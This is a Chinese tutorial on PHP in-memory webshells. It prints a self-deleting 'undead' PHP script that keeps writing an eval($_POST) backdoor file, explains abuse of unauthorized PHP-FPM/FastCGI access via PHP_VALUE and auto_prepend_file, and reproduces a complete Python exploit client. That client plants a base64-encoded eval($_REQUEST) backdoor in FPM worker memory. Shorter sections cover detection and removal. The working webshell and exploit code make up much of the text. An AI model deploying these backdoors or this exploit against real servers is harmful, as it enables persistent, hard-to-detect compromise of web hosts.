内存马学习之php内存马

PHP内存马

PHP不死马

PHP不死马原理

php内存马也就是php不死马是将不死马启动后删除本身，在内存中执行死循环，使管理员无法删除木马文件。本次演示是将php不死马放到web目录下访问后及执行会在本地循环生成php一句话木马。实际上，PHP不死马并未实现无文件攻击或者内存webshell等，理论上并不属于内存马的范畴，但是关于PHP内存马的实现，确实仅有这几种方法，所以在此处简单介绍一下。

PHP不死马代码

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = '<?php @eval($_POST["cmd"]); ?>';
file_put_contents("shell.php", $content);
usleep(10000);
}
?>

函数说明

1. ignore_user_abort()函数：函数设置与客户机断开是否会终止脚本的执行，如果设置为true，则忽略与用户的断开。
2. set_time_limit()函数：设置允许脚本运行的时间，单位为秒。如果设置为0（零），没有时间方面的限制。
3. unlink(__FILE__)函数：删除文件。
4. file_put_contents函数：将一个字符串写入文件。
5. usleep函数：延迟执行当前脚本若干微秒（一微秒等于一百万分之一秒）。

访问成功，并且无法删除。

值得注意的是php一般都有设置php超时事件，所以php后台运行一定时间后可能会自动终止。

检测思路

1. 检查所有php进程处理请求的持续时间(top|grep http)
2. 检测执行文件是否在文件系统真实存在

查杀PHP不死马

• 重启php服务器
• 强行kill后台进程 ps aux|grep www-data|awk '{print 2}'| xargs kill -9
• 竞争删除

对于不死马，直接删除脚本是没有用的，因为php执行的时候已经把脚本读进去解释成opcode 运行了。使用条件竞争写入同名文件进行克制不死马。

FastCGI马

​ 在了解FastCGI马之前，我们先来简要介绍一下FastCGI是个什么东东。

CGI与FastCGI

​ 首先，我们来了解一下什么是CGI：以web服务器为例，我们知道apache可以用于搭建web服务器，但是apache只能够解析静态网页，也就是html类型网页；当然，我们可以安装php组件，通过apache配置文件使其能够解析php。这其中就用到了CGI，CGI是指Web Server 与 Web Application 之间数据交换的一种通信协议，当apache需要解析php时，他会通过配置文件获取到解析php服务的应用端口，并将需要解析的文件数据通过CGI协议交给PHP解析器。也就是说apache和php之间并不是一个整体（这是我以前误解的地方），而是apache通过CGI协议内部访问php解析器来实现php解析的。而FastCGI是CGI的升级版本，比 CGI 在效率上做了一些优化。两者的区别是：CGI每次解析是都会重新启动一个解析器进程，重新读取配置文件，重新载入扩展，解析完成后退出；而FastCGI是一种常驻型的CGI，只在进程启动时读取一次配置文件，请求解析完成后也不会退出，这样大大提高了性能。

​ 类比于HTTP协议，FastCGI协议是服务器中间件与某个语言后端进行数据交换中所使用的协议。FastCGI每次交换的消息称为record，这与HTTP协议请求数据包类似，record也有自己的header和body。record的头固定8个字节，body是由头中的contentLength指定，其结构如下：

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

语言端解析FastCGI头之后，会根据contentLength获取的Body的数据，Body后面还有一段额外的数据（Padding），其长度由头中的paddingLength指定，起保留作用。不需要该Padding的时候，将其长度设置为0即可。

​ 在FastCGI请求头中有一个type变量，type用于指定该record的作用，不同的record对应的bode结构不同，具体含义如下：

type值	具体含义
1	在与php-fpm建立连接之后发送的第一个消息中的type值就得为1，用来表明此消息为请求开始的第一个消息
2	异常断开与php-fpm的交互
3	在与php-fpm交互中所发的最后一个消息中type值为此，以表明交互的正常结束
4	在交互过程中给php-fpm传递环境参数时，将type设为此，以表明消息中包含的数据为某个name-value对
5	web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6	php-fpm给web服务器回的正常响应消息的type就设为6
7	php-fpm给web服务器回的错误响应设为7

这里我们主要介绍type为4的record，因为FastCGI木马使用到了该类型的record，其他类型详见看这篇文章。

当后端语言接收到一个type为4的record后，就会把这个record的body按照对应的结构解析成key-value对，这就是环境变量。环境变量的结构如下：

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

这其实是4个结构，至于用哪个结构，有如下规则：

• key、value均小于128字节，用FCGI_NameValuePair11
• key大于128字节，value小于128字节，用FCGI_NameValuePair41
• key小于128字节，value大于128字节，用FCGI_NameValuePair14
• key、value均大于128字节，用FCGI_NameValuePair44

​ 关于web中间件与php之间的通信，我们举个例子来进行说明。用户访问http://127.0.0.1/index.php?a=1&b=2，如果web目录是/var/www/html，那么Nginx会将这个请求变成如下key-value对：

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

​ Nginx将以上数据通过FastCGI协议格式发送给PHP-FPM，PHP-FPM拿到FastCGI的数据包后，进行解析，得到上述这些环境变量。然后，执行SCRIPT_FILENAME的值指向的PHP文件，也就是/var/www/html/index.php。

PHP-FPM

​ 首先要说的是：FastCGI是一种协议规范，php-fpm最终会解析这个协议。我们知道无论是CGI还是FastCGI最终都会启动php解析器程序（php-cgi），但是该程序只能解析请求并不能进程管理，而php-fpm就是php-cgi的进程管理程序，它克服了php-cgi变更php.ini配置后，需重启php-cgi才能让新的php-ini生效，无法平滑重启；直接杀死php-cgi进程，php就不能运行了等问题。具体的相关信息可以看这篇文章

FastCGI未授权访问

那么，如果我们能够控制FastCGI的通信协议，是否可以执行任意代码呢？

理论上当然是不可以的，但是在PHP的配置中有两个特殊的配置项可以帮我们实现这一点：auto_prepend_file和auto_append_file。

• auto_prepend_file是告诉PHP，在执行目标文件之前，先包含auto_prepend_file中指定的文件；
• auto_append_file是告诉PHP，在执行完成目标文件后，包含auto_append_file指向的文件。

如果我们设置auto_prepend_file为php://input（只要Content-Type不为multipart/form-data， php://input会填入post数据，详见官方文档），那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。当然，还需要开启远程文件包含选项allow_url_include。

那么，我们如何设置auto_prepend_file的呢?

这又涉及到PHP-FPM的两个环境变量，PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的，PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项，PHP_ADMIN_VALUE可以设置所有选项。（disable_functions除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中）

所以，我们最后传入如下环境变量：

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

漏洞复现

复现环境可以使用vulhub的CVE-2019-11043复现环境。

Exp见p神的代码 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75。

python php_fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c "<?php echo `id`;?>"

参考链接

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

fastcgi协议分析与实例

利用PHP-FPM做内存马

上个章节介绍了接近内存马的PHP不死马以及利用FastCGI制作的木马，但是这两种木马都不符合内存马的基本特性—-PHP 代码无法长久驻留内存执行，接下来我们对FastCGI马进行下相应的改进使其称为真正意义上的内存马。

​ 在FastCGI马中，我们使用PHP_VALUE设置auto_prepend_file = php://input从而使得http请求传入的数据得到执行，那么有没有方法使得后门代码在内存中驻留呢？*我们只需要将php://input协议换为data就可以了（base64的内容为<?php @eval($_REQUEST[test]); ?>）

'PHP_VALUE': 'auto_prepend_file = php://input',
 'PHP_VALUE': 'auto_prepend_file =\'data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\'',

Payload用P神的代码修改一下即可。

P神的脚本：https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

源码备份：

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])


def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)


def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')


def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:

            self.sock.connect((self.host, int(self.port)))

        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
            + bchr(fcgi_type) \
            + bchr((requestid >> 8) & 0xFF) \
            + bchr(requestid & 0xFF) \
            + bchr((length >> 8) & 0xFF) \
            + bchr(length & 0xFF) \
            + bchr(0) \
            + bchr(0) \
            + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                + bchr((nLen >> 16) & 0xFF) \
                + bchr((nLen >> 8) & 0xFF) \
                + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                + bchr((vLen >> 16) & 0xFF) \
                + bchr((vLen >> 8) & 0xFF) \
                + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
            + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
            + bchr(self.keepalive) \
            + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(
                FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(
            FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(
                FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(
            FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument(
        'file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute',
                        default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port',
                        default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        # 'PHP_VALUE': 'auto_prepend_file = php://input',
        # 'PHP_VALUE': '',
        'PHP_ADMIN_VALUE': 'allow_url_include = On auto_prepend_file =\'data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\''
    }
    response = client.request(params, content)
    print(force_text(response))

由于使用了auto_prepend_file，因此我们只需要访问服务器上任意一个正常的 PHP 文件，无需任何修改，都能触发我们的内存马。

​ 当然，这个方案也有局限性，因为是内存马，所以他实际上是和PHP-FPM的 Worker 进程绑定的，因此，如果服务器上有多个Worker进程，我们就需要多发送刚才的请求几次，才能让我们的payload“感染”每一个进程。

内存马的检测

​ 既然是内存马，因此我们无法从代码扫描中发现。并且由于他只是修改了内存中的 PHP 配置，我们也无法从PHP.ini/.user.ini/php-fpm.conf等文件内容中检测。真正添加内存马由于只需要对fpm监听的端口发送请求，因此也无法从webserver的accesslog中发现问题。但是我们是可以通过rasp之类的工具，通过检查auto_prepend_file/auto_append_file/allow_url_inclue配置的变化（虽然目前很多 rasp 也不会做这些操作）来做检测。
​ 另外，由于触发方式可以是任意一个 PHP 文件，所以，我们想从后续的访问行为中做检查也有一定难度，但是可以从网络流量中检查对应的后门 payload，或者从进程的行为中，来做检查。

参考链接

利用 PHP-FPM 做内存马的方法